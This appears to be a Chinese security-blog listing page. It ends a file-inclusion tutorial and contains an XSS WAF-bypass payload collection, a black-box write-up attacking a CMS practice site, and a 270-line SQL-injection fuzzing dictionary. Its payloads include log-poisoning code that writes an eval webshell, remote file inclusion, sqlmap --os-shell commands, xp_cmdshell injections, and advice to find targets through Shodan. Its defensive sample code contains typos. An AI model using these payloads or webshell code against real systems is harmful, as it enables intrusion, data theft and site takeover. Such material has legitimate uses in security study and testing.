使用../../../../../../../demo1.txt尝试读取刚才创建的文件demo1.txt注意:在文件包含漏洞中通常配合文件上传使用二、远程文件包含漏洞远程文件包含漏洞就是在不同ip/域名之间进行文件包含操作,需要将php.ini中的allow_url_include = On打开,如下图比如这里有一个远程文件:https://xiaoyus.cc/license.txt漏洞利用成功!三、包含Apache/Nginx日志文件有时候网站存在文件包含漏洞,但是却没有文件上传点。这个时候我们还可以通过利用Apache的日志文件来生成一句话木马。我们通过访问,让访问日志记录我们的phpinfo();代码,可以看出,访问日志已经成功记录了我们的访问历史:注意:需要开启服务器记录日志功能<?php phpinfo();?>日志访问成功但是我们发现了日志使用的是url编码,而不是完整的php代码这里我们就需要使用到抓包工具burp suite进行请求拦截,然后修改参数值为完整的php代码查看日志,日志写入成功接下来利用文件包含漏洞访问日志的文件地址我这里是www/server/nginx/logs/access.log日志文件注入成功!让访问日志文件记录下写入文件脚本代码:<?php $file=fopen('test1.php','w'); fputs($file,'<?php @eval($_POST[666]);?>'); ?>访问内容修改: 可以看见日志文件写入成功 对访问日志进行文件包含,并查看创建的一句话脚本,已经创建成功:查看源文件,也可以看到创建成功 此时就可以使用蚁剑进行连接获取webshell如何避免?一、设置白名单代码在进行文件包含时,如果文件名称可以确定,可以设置白名单对传入的参数进行比较。PHP验证源码示例:<?php $file_list=[ //声明一个变量,用于存放白名单; 'framework/init.php', 'framework/route.php', 'framework/event.php', ]; $file= $_REQUEST['file']; //声明一个变量,用于接收传递过来的文件信息; if (in_array($file, $file_list)){ //把传递过来的文件信息和白名单里面的文件进行对比; include "$file"; //如果传递过来的文件是白名单里面的文件,就对它进行文件包含; } ?>python验证源码示例:file_list=[ 'framework/init.php', 'framework/route.php', 'framework/event.php', ] file=requests.GET.get('file') if file in file_list: with open(file,mode='r') as f: content=f.read() print(content) else: print('该文件不在许可范围内')二、过滤危险字符由于Incbude/Require可以对PHP Wrapper(包装器)形式的地址进行包含执行(需要配置php.ini)在linux环境中可以通过"../../"的形式进行目录绕过,所以需要判断文件名称是否为合法的PHP文件。验证源码示例:$pattern= "#^[a-z][a-z0-9+.]*:?//#i"; if(substr($filename,-4)=='.php' && strpos($filename,"..")===false&&!preg_match($pattern, $filename)){ include "$file"; }python源码示例:import re import os parttern='"#^[a-z][a-z0-9+.]*:?//#i' def include_file(filename): if filename.endswith('.php') and '..' not in filename and not re.search(pattern,filename(): with open(filename,'r') as f: file=f.read() print(file) include_file('demo.php')四、设置文件目录PHP配置文件中又open_basedir选项可以设置用户需要执行的文件内目录,如果设置目录的话,PHP仅仅在该目录内进行文件搜索,而不会去搜索其他文件四、关闭危险配置PHP中的allow_url_include选项如果打开,PHP会通过Include/Require进行远程文件包含,由于远程文件的不可信任及其不确定性,在开发中禁止打开次此选项,PHP默认是关闭的。五、最小权限原则做好管理员权限划分,做好文件的权限管理,allow_url_include和allow_url_fopen最小权限化感谢!原文地址https://mp.weixin.qq.com/s/0Ayr8cp5nxti787c1sg54g
2025年05月18日
1,836 阅读
0 评论
0 点赞
2025-05-18
【WAF剖析】10种XSS某狗waf绕过姿势
XSS 基础:Web安全中的XSS攻击详细教学,XSS-Labs靶场通关全教程(建议收藏)(一)、Web安全中的XSS攻击详细教学(二)--已完结如果懒得找靶场和安全狗防火墙后台回复【靶场】即可获取image-20240722161008610复现网站安全狗最新 v4.0 已经准备好image-20240722104320515这里用 XSSlab 进行 WAF 绕过测试image-20240722102257861还是一样安全狗 WAF 测试http://192.168.209.149/level1.php?name=<script>alert("hellow world")</script>image-20240722102220534基础 payloadphp<?phpecho "<script>alert(1)</script>";?>img<img SRC=JavaScript:alert("XSS")><IMG SRC=JavaScript:alert(String.formCharCode(88,83,83))><img scr="URL" style='XSS:expression(alert(XSS));'><img SRC="x" onerror=alert(1)><img SRC="x" οnerrοr=eval("alert('XSS')")><img SRC=x οnmοuseοver=alert('XSS')>css<img STYLE="background-image:url(JavaScript:alert('XSS'))">formXSS利用方式1<form action=JavaScript:alert('xss') method="get"><form action=JavaScript:alert('xss')>XSS利用方式2<form method=post action=aa.asp? οnmοuseοver=prompt('xss')><form method=post action=aa.asp? οnmοuseοver=alert('xss')><form action=1 οnmοuseοver=alert('xss')>input<input name="name" value=""><input value="" οnclick=alert('xss') type="text"><input name="name" value="" οnmοuseοver=prompt('xss') bad=""><input name="name" value=""><script>alert('xss')</script>iframe<iframe SRC=JavaScript:alert('xss');height=5width=1000 /><iframe><iframe SRC="data:text/html,<script>alert('xss')</script>"></iframe><!--原code--><iframe SRC="data:text/html;base64,<script>alert('xss')</script>"><!--base64编码--><iframe SRC="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="><iframe SRC="aaa" οnmοuseοver=alert('xss') /><iframe><iframe src="JavaScript:prompt(`xss`)"></iframe>经过测试以上内容皆执行不了,但是还有一个svg没测试svg!成功了一个,看来 v4.0 的安全狗没有对 svg 进行防护,payload 如下<svg onload=alert(1)>image-20240722103703228常见的 WAF 绕过 payload1.大小写绕过<sCript>alert(1)</Script>image-202407221300440002、双写绕过image-202407221309172023、imgimage-202407221309530464、onmouseover 事件当用户鼠标移动时即可运行代码 image-20240722131108228当用户鼠标在这个块上面时即可运行(可以配合 weight 等参数将 div 覆盖页面,鼠标不划过都不行)image-202407221313538565、onclick 事件buttonimage-202407221317099956、onload 事件例如<svg onload=alert(1)>之前已经测试过了,svg 的 onoad 事件可以7、编码脚本绕过关键字image-202407221322232148、主动闭合标签实现注入代码image-202407221341403009、绕过 HTML 注释符image-2024072213461653010、利用换行符绕过image-2024072213474591411、绕过右标签image-2024072213480705012、绕过</内容>image-20240722134857902字典爆破image-20240722135712030这个时候直接一个一个去访问即可image-20240722141703806这里我们找到一个 iframe 的 payload,尝试访问,成功加载,但是看源码,标签没有闭合image-20240722141540870我们在 url 中闭合这个标签,就可以了image-20240722141917556绕过思路一、更改提交方式在默认配置下,为了节省资源,许多 WAF 只会对 GET 请求进行过滤拦截,而忽略了对 POST 请求、Cookie、HTTP Header 等其他提交方式的检测。因此,攻击者可以尝试更改有害语句的提交方式,如将 GET 请求修改为 POST 请求,或者通过 Cookie、HTTP Header 等方式提交恶意脚本,以绕过 WAF 的拦截。二、混淆伪装绕过混淆伪装是一种常见的绕过 WAF 的手段,攻击者通过编码、大小写混淆、双写、转义字符等方式对恶意脚本进行伪装,使其绕过 WAF 的关键词过滤规则。例如,将 JavaScript 代码中的关键字进行大小写混淆(如三、标签和事件函数变换XSS 攻击主要是通过触发 HTML 标签中的事件函数来执行恶意脚本。因此,WAF 会重点识别能够触发事件函数的 HTML 标签和事件函数字段。攻击者可以尝试使用其他可以执行 JavaScript 代码的 HTML 标签(如 , , 等)替换常用的四、利用 WAF 的缺陷和配置不当「增加 WAF 负担」:有些 WAF 在处理大量数据时可能会降低检测精度或放弃检测部分数据包。攻击者可以通过向 WAF 发送大量正常数据包并夹杂异常数据包的方式,增加 WAF 的负担,从而绕过 WAF 的检测。「利用 WAF 配置不当」:WAF 的配置可能存在漏洞或不当之处,如只检测部分参数、忽略某些类型的请求等。攻击者可以通过分析 WAF 的配置规则,构造绕过 WAF 检测的请求。「旁站绕过」:在某些情况下,网站管理员可能只对主站进行了 WAF 防护,而忽略了旁站或子域名的防护。攻击者可以尝试通过旁站或子域名绕过 WAF 的防护。五、使用自动化工具自动化工具如XSStrike 等可以帮助攻击者自动测试 WAF 的防护效果,并生成绕过 WAF 的 payload。这些工具通常包含多种绕过 WAF 的技巧和策略,可以显著提高攻击的成功率。❝XSStrike 开源地址:https://github.com/s0md3v/XSStrike❞六、其他技巧「利用伪协议」:某些 HTML 属性支持伪协议(如JavaScript: ),攻击者可以利用这些属性执行恶意脚本。「利用 CSS 跨站」:在某些情况下,攻击者可以利用 CSS 中的某些特性(如expression() )执行 JavaScript 代码。「利用全局变量和函数」:JavaScript 中的全局变量和函数(如eval() , window.onload 等)可以在不直接引用脚本标签的情况下执行代码,攻击者可以尝试利用这些变量和函数绕过 WAF 的防护。七、举例这里我就拿标签事件函数变换来举例、首先判断标签名称,是否可用比如iframe ,它可以正常访问,说明 标签没有进行过滤http://192.168.209.149/level1.php?name=<iframe>image-20240722143819570标签没有进行过滤,尝试闭合这个标签,ok 正常访问image-20240722144155301判断属性 src,好没有过滤image-20240722144230962加了个= 就被拦截了,这时候没法继续了,换个事件试试image-20240722144259675image-20240722144611518这里拿 onload 尝试image-20240722144645731❝需要注意的是,以上绕过 WAF 的思路和技巧仅供学习和研究网络安全使用,不得用于非法攻击和破坏活动。在实际应用中,网站管理员和 WAF 开发者应不断更新和完善 WAF 的防护策略,提高网站的安全性。❞SQL 注入 WAF 绕过文章参考:SQL注入绕过某狗的waf防火墙,这一篇就够了,6k文案超详细、SQL注入某狗WAF绕过(补充)
2025年05月18日
1,460 阅读
0 评论
0 点赞
2025-05-18
对某CMS漏洞练习平台的一次xss、sql注入、越权黑盒思路分析
简介熊海CMS是由熊海开发的一款功能丰富的网站综合管理系统,广泛应用于个人博客、个人网站以及企业网站,本文章用于黑盒测试,如果需要源码审计后台回复【CMS】获取即可,精心准备了40多个cms源码漏洞平台,供宝子们学习,一切资源免费XSS测试在测试过程中,我们发现目标站点存在XSS注入漏洞。通过插入特定的XSS测试脚本,我们能够触发跨站脚本攻击,这表明站点在处理和显示用户输入时未进行充分的过滤和编码。SQL注入SQL注入超详细教程:从零开始学SQL注入(sql十大注入类型):技术解析与实战演练在首页,通过随机点击一篇文章并修改URL参数,我们尝试进行SQL注入攻击。使用以下payload:http://192.168.3.245:37892/?r=content&cid=16' -- w服务器响应报错,这表明可能存在SQL注入漏洞。为了进一步验证,我们使用sqlmap工具进行自动化测试,并指定参数cid进行注入尝试:sqlmap -u 'http://192.168.3.245:37892/?r=content&cid=16' -p 'cid' --random-agent --threads=10 --dbms=mysql --level 3 --dbs测试结果显示,目标站点存在布尔盲注、报错注入和时间盲注三种SQL注入方法。接下来,我们使用dirb工具扫描目标站点的目录结构,并发现了一个admin管理页面。尝试对该admin页面进行SQL注入攻击,结果服务器响应显示SQL语句错误,进一步确认了SQL注入漏洞的存在。后台越权登录之前使用dirb扫出来的admin后台,尝试访问尽管我们尝试使用sqlmap记录来爆破admin所在的表,并发现密码进行了哈希加密,但未能使用现有的密码字典破解密码。由于无法直接登录后台,我们尝试构造session,cookie和本地存储进行越权访问。通过抓包分析,我们猜测向后端传递的用户名字段为user,密码字段为password。在设置了本地cookie存储后(随意设置),我们尝试访问后台页面:http://192.168.3.208:37892/admin/index.php成功越权访问了网站后台。在后台,我们尝试修改回复内容,并插入XSS攻击脚本:<script>alert(1)</script>保存修改后,XSS攻击脚本成功生效,表明站点存在存储型XSS注入漏洞。在尝试删除留言时,我们发现URL参数delete可能存在SQL注入漏洞。通过构造特定的payload,我们确认了该漏洞的存在。此外,我们还发现了一个报错页面,该页面暴露了站点的根目录信息,这可能会被恶意利用。由于已知目标站点为PHP网站,我们尝试使用sqlmap获取目标shell:sqlmap -u 'http://192.168.3.245:37892/?r=content&cid=16' -p 'cid' --random-agent --threads=10 --dbms=mysql --level 3 --os-shell然而,上传stager失败,可能是权限不足或目标网站的安全措施阻止了上传。修复建议更新版本:确保熊海CMS系统更新到最新版本,以修复已知的安全漏洞。SQL注入防护:对SQL语句进行预编译处理,以防止SQL注入漏洞。同时,限制数据库账号的权限,仅授予执行必要操作的最小权限,以减少SQL注入攻击的影响。XSS防护:对输出到HTML的数据进行编码处理,以防止XSS攻击。可以使用HTML实体编码或JavaScript编码来转义特殊字符。自定义错误页面:建议自定义错误页面,以避免编程语言特性导致的网站根目录泄露问题,从而减少不必要的安全风险。网安学习不迷路,技术分享,萌新答疑,一起来交流吧
2025年05月18日
1,618 阅读
0 评论
0 点赞
2025-05-18
放开双手 ,SQL注入Fuzzing字典 (270个)
放开双手 ,SQL注入Fuzzing字典 (270个)什么是Fuzzing(模糊测试)?模糊测试(Fuzzing),是一种通过向目标系统提供非预期的输入并监视异常结果来发现软件漏洞的方法。字典如下:' " # - -- ' -- --'; ' ; = ' = ; = -- x23 x27 x3D x3B' x3D x27 x27x4Fx52 SELECT * x27x6Fx72 SELECT * 'or select * admin'-- ';shutdown-- <>"'%;)(&+ ' or ''=' ' or 'x'='x " or "x"="x ') or ('x'='x 0 or 1=1 ' or 0=0 -- " or 0=0 -- or 0=0 -- ' or 0=0 # " or 0=0 # or 0=0 # ' or 1=1-- " or 1=1-- ' or '1'='1'-- "' or 1 --'" or 1=1-- or%201=1 or%201=1 -- ' or 1=1 or ''=' " or 1=1 or ""=" ' or a=a-- " or "a"="a ') or ('a'='a ") or ("a"="a hi" or "a"="a hi" or 1=1 -- hi' or 1=1 -- hi' or 'a'='a hi') or ('a'='a hi") or ("a"="a 'hi' or 'x'='x'; @variable ,@variable PRINT PRINT @@variable select insert as or procedure limit order by asc desc delete update distinct having truncate replace like handler bfilename ' or username like '% ' or uname like '% ' or userid like '% ' or uid like '% ' or user like '% exec xp exec sp '; exec master..xp_cmdshell '; exec xp_regread t'exec master..xp_cmdshell 'nslookup www.google.com'-- --sp_password x27UNION SELECT ' UNION SELECT ' UNION ALL SELECT ' or (EXISTS) ' (select top 1 '||UTL_HTTP.REQUEST 1;SELECT%20* to_timestamp_tz tz_offset <>"'%;)(&+ '%20or%201=1 %27%20or%201=1 %20$(sleep%2050) %20'sleep%2050' char%4039%41%2b%40SELECT '%20OR 'sqlattempt1 (sqlattempt2) | %7C *| %2A%7C *(|(mail=*)) %2A%28%7C%28mail%3D%2A%29%29 *(|(objectclass=*)) %2A%28%7C%28objectclass%3D%2A%29%29 ( %28 ) %29 & %26 ! %21 ' or 1=1 or ''=' ' or ''=' x' or 1=1 or 'x'='y / // //* */* ' ' and '' like ' ' AnD '' like ' ' or '' like ' ' and '' like '% ' aND '' like '% ' and '' like ''-- ' and 2>1-- ' and 2>3-- ') and ('x'='x ) and (1=1 'or''=' 'or'='or' a' or 1=1-- "a"" or 1=1--" or a = a a' or 'a' = 'a 1 or 1=1 a' waitfor delay '0:0:10'-- 1 waitfor delay '0:0:10'-- declare @q nvarchar (200) select @q = 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A0031003000270000 exec(@q) declare @s varchar(200) select @s = 0x77616974666F722064656C61792027303A303A31302700 exec(@s) declare @q nvarchar (200) 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q) declare @s varchar (200) select @s = 0x73656c65637420404076657273696f6e exec(@s) a' ? ' or 1=1 ‘ or 1=1 -- x' AND userid IS NULL; -- x' AND email IS NULL; -- anything' OR 'x'='x x' AND 1=(SELECT COUNT(*) FROM tabname); -- x' AND members.email IS NULL; -- x' OR full_name LIKE '%Bob% 23 OR 1=1 '; exec master..xp_cmdshell 'ping 172.10.1.255'-- ' '%20or%20''=' '%20or%20'x'='x %20or%20x=x ')%20or%20('x'='x 0 or 1=1 ' or 0=0 -- " or 0=0 -- or 0=0 -- ' or 0=0 # or 0=0 #" or 0=0 # ' or 1=1-- " or 1=1-- ' or '1'='1'-- ' or 1 --' or 1=1-- or%201=1 or%201=1 -- ' or 1=1 or ''=' or 1=1 or ""= ' or a=a-- or a=a ') or ('a'='a ) or (a=a hi or a=a hi or 1=1 --" hi' or 1=1 -- hi' or 'a'='a hi') or ('a'='a "hi"") or (""a""=""a" 'hi' or 'x'='x'; @variable ,@variable PRINT PRINT @@variable select insert as or procedure limit order by asc desc delete update distinct having truncate replace like handler bfilename ' or username like '% ' or uname like '% ' or userid like '% ' or uid like '% ' or user like '% exec xp exec sp '; exec master..xp_cmdshell '; exec xp_regread t'exec master..xp_cmdshell 'nslookup www.google.com'-- --sp_password x27UNION SELECT ' UNION SELECT ' UNION ALL SELECT ' or (EXISTS) ' (select top 1 '||UTL_HTTP.REQUEST 1;SELECT%20* to_timestamp_tz tz_offset <>"'%;)(&+ '%20or%201=1 %27%20or%201=1 %20$(sleep%2050) %20'sleep%2050' char%4039%41%2b%40SELECT '%20OR 'sqlattempt1 (sqlattempt2) | %7C *| %2A%7C *(|(mail=*)) %2A%28%7C%28mail%3D%2A%29%29 *(|(objectclass=*)) %2A%28%7C%28objectclass%3D%2A%29%29 ( %28 ) %29 & %26 ! %21 ' or 1=1 or ''=' ' or ''=' x' or 1=1 or 'x'='y / // //* */* a' or 3=3-- "a"" or 3=3--" ' or 3=3 ‘ or 3=3 --使用shodan查找靶机访问端口+IP打开burp suite从文件加载字典测试,直接看响应长度即可往期推荐开箱即用!265种windows渗透工具合集--灵兔宝盒我是如何利用Typora写网络安全技术文章的,公众号格子背景又是如何做到的?【kali笔记】这样炫酷的终端签名,是如何打印出来的?【内网渗透】免工具,内网、域内信息收集的40种方式总结【渗透测试】16个实用谷歌浏览器插件分享
2025年05月18日
933 阅读
0 评论
0 点赞
1
...
5
6
7
...
9